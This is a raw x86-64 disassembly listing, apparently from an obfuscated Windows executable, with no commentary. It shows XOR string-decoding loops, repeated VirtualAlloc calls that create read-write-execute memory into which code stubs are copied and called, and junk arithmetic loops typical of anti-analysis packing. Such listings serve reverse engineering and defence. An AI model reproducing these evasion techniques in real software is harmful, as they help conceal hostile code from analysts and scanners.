imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x140019000
movups xmm0, xmmword [0x1400371e0]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x140037200]
movups xmm1, xmmword [0x1400371f0]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
movzx eax, word [0x140037248]
movups xmm0, xmmword [0x140037220]
movups xmm1, xmmword [0x140037210]
mov word [rbp - 0x28], ax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x60], xmm1
movzx eax, byte [0x14003724a]
movsd xmm0, qword [0x140037240]
movups xmm1, xmmword [0x140037230]
mov byte [rbp - 0x26], al
movsd qword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x40], xmm1
mov r9d, r12d
cmp r15d, 2
jl 0x14001925a
movdqa xmmword [rsp + 0x30], xmm12
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm2, xmm0, 0xdd
psrad xmm2, 3
pmuldq xmm3, xmm10
pmuldq xmm1, xmm10
shufps xmm3, xmm1, 0xdd
paddd xmm3, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x1400190d1
cmp r9d, 0x6b
jge 0x1400192bf
movsxd rax, r9d
lea r10, [rsp + 0x70]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x140019270
lea r8, [rbp + 0x108]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x80]
call fcn.140027a00
nop
lea r8, [rbp - 0x20]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140027120
nop
mov rcx, rax
call fcn.140026260
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
lea rbx, [0x140027760]
mov rax, qword [0x140043840]
test rax, rax
je 0x140019359
mov rdx, r12
nop dword [rax]
cmp rax, rbx
je 0x140019348
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x43840]
test rax, rax
jne 0x140019330
jmp 0x140019359
mov r8, qword [rdi + rdx*8 + 0x42220]
test r8, r8
jne 0x14001943f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019382
mov r8, r12
jmp 0x14001941e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019390
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040270]
mov qword [rdi + rax*8 + 0x43840], rbx
mov qword [rdi + rax*8 + 0x42220], r8
inc rax
mov qword [0x140040270], rax
lea rdx, [rsp + 0x30]
lea rcx, [0x140013670]
call r8
nop
mov rcx, qword [rbp + 0x68]
xor rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
lea rcx, [rbp + 0xb0]
call fcn.140026440
nop
lea rcx, [rbp + 0x80]
call fcn.140026440
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x130]
call fcn.1400254c0
mov dword [rbp + 0x60], 0xffffff9c
mov dword [rbp + 0x64], 0x64
movdqa xmm0, xmmword [0x140037320]
movups xmmword [rbp + 0xa0], xmm0
mov dword [rsp + 0x20], r12d
movsd qword [rsp + 0x28], xmm8
lea rcx, [rsp + 0x40]
call fcn.140001670
mov qword [rsp + 0x30], 0x64
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.1400272a0
lea rcx, [rbp + 0x80]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
mov qword [rbp + 0x90], r12
lea rcx, [rsp + 0x30]
call fcn.1400272c0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027310
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027340
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140027370
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273a0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.1400273d0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x40], rcx
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.1400253c0
nop
lea rcx, [rsp + 0x40]
call fcn.140025380
nop
lea rcx, [rsp + 0x30]
call fcn.140025380
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
jns 0x140019991
nop word [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov rbx, qword [rbp + 0x88]
sub rbx, qword [rbp + 0x80]
sar rbx, 3
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x80]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, eax
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call rbx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm5, xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm5
call fcn.140002390
movsd xmm1, qword [rsp + 0x28]
addsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x28]
subsd xmm1, xmm0
movsd qword [rsp + 0x28], xmm1
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x28]
movsd qword [rsp + 0x28], xmm0
lea rdx, [0x14003597c]
lea rcx, [rbp + 0xb0]
call fcn.1400264a0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xb0]
call fcn.140002300
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rcx, [rbp + 0x68]
call fcn.140025590
nop
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.140027490
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x68]
call fcn.140002410
mov rdx, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x68]
call fcn.1400274f0
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov dword [rsp + 0x20], ecx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ebx, eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
test al, 1
jne 0x14001988b
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001989a
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov dword [rsp + 0x20], ecx
mov edi, 5
nop
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
add eax, ecx
mov dword [rsp + 0x20], eax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xa0]
call fcn.140027400
movsd xmm5, qword [rsp + 0x28]
addsd xmm0, xmm5
movsd qword [rsp + 0x28], xmm0
lea rdx, [rbp + 0x130]
test bl, 1
jne 0x14001990f
lea rcx, [rbp + 0x60]
call fcn.1400271f0
mov ecx, dword [rsp + 0x20]
imul eax, ecx
mov dword [rsp + 0x20], eax
jmp 0x14001992f
movsd xmm5, qword [rsp + 0x28]
lea rcx, [rbp + 0xa0]
call fcn.140027400
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x28], xmm5
inc ebx
cmp ebx, 5
jl 0x1400198b0
sub rdi, 1
jne 0x1400198a0
lea rcx, [rbp + 0x68]
call fcn.140025530
nop
lea rcx, [rbp + 0xb0]
call fcn.140026440
sub rsi, 1
jne 0x1400196a0
lea rcx, [rsp + 0x30]
call fcn.140001670
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.1400024e0
test al, al
js 0x140019690
lea rbx, [0x140027760]
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.1400253f0
mov dword [rsp + 0x20], 0x96
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140041260]
test rax, rax
je 0x1400199fe
mov rdx, r12
cmp rax, r13
je 0x1400199ed
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x41260]
test rax, rax
jne 0x1400199d5
jmp 0x1400199fe
mov r8, qword [rdi + rdx*8 + 0x42ba0]
test r8, r8
jne 0x140019adf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019a27
mov r8, r12
jmp 0x140019abe
mov rax, r13
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019a30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [rdi + rax*8 + 0x41260], r13
mov qword [rdi + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x68]
xor rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
movups xmm0, xmmword [0x1400360f8]
movups xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [0x140036108]
movsd qword [rbp + 0x90], xmm0
mov eax, dword [0x140036110]
mov dword [rbp + 0x98], eax
movzx eax, word [0x140036114]
mov word [rbp + 0x9c], ax
cmp byte [0x140036115], 0
je 0x140019d5f
mov r9d, r12d
cmp r15d, 2
jl 0x140019cf9
movdqa xmmword [rsp + 0x30], xmm12
lea rcx, [rbp + 0x84]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
psubb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140019b70
cmp r9d, 0x1e
jge 0x140019d5f
movsxd rax, r9d
lea r10, [rbp + 0x80]
add r10, rax
nop word [rax + rax]
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x140019d10
lea rax, [rbp + 0x80]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140041580]
lea rsi, [0x140027760]
test rax, rax
je 0x140019dc9
mov rdx, r12
nop
cmp rax, rsi
je 0x140019db8
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x41580]
test rax, rax
jne 0x140019da0
jmp 0x140019dc9
mov r8, qword [rdi + rdx*8 + 0x40f40]
test r8, r8
jne 0x140019eaf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019df2
mov r8, r12
jmp 0x140019e8e
mov rax, rsi
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019e00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400408d0]
mov qword [rdi + rax*8 + 0x41580], rsi
mov qword [rdi + rax*8 + 0x40f40], r8
inc rax
mov qword [0x1400408d0], rax
lea rdx, [rsp + 0x30]
lea rcx, [0x140013670]
call r8
nop
mov rcx, qword [rbp + 0x68]
xor rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
mov dword [rsp + 0x20], 0x1f4
lea rcx, [rbp + 0x68]
call fcn.140002540
lea rdx, [rbp + 0x1598]
lea rcx, [rbp + 0x68]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140041260]
test rax, rax
je 0x140019f2f
mov rdx, r12
cmp rax, r13
je 0x140019f1e
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x41260]
test rax, rax
jne 0x140019f06
jmp 0x140019f2f
mov r8, qword [rdi + rdx*8 + 0x42ba0]
test r8, r8
jne 0x14001a010
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019f58
mov r8, r12
jmp 0x140019fef
mov rax, r13
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019f61
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [rdi + rax*8 + 0x41260], r13
mov qword [rdi + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x68]
xor rcx, qword [rbp + 0x70]
mov qword [rbp + 0x68], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
mov rax, qword [0x140036300]
mov qword [rsp + 0x28], rax
cmp byte [0x140036307], 0
je 0x14001a21f
cmp r15d, 2
jl 0x14001a1c6
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm13
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm12
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x28]
xorps xmm2, xmm1
movd dword [rsp + 0x28], xmm2
movdqa xmm4, xmmword [0x1400372b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 3
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm2, xmm1
movd dword [rsp + 0x2c], xmm2
jmp 0x14001a21f
lea r10, [rsp + 0x28]
mov r9d, r12d
nop
mov eax, 0x81020409
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x7f
mov eax, 0xec1dd343
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub cl, r8b
lea eax, [r9 - 3]
add al, al
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14001a1d0
lea r8, [rbp + 0x108]
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0xb0]
call fcn.140027a00
nop
mov rcx, rax
call fcn.140026260
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x68]
call fcn.140002540
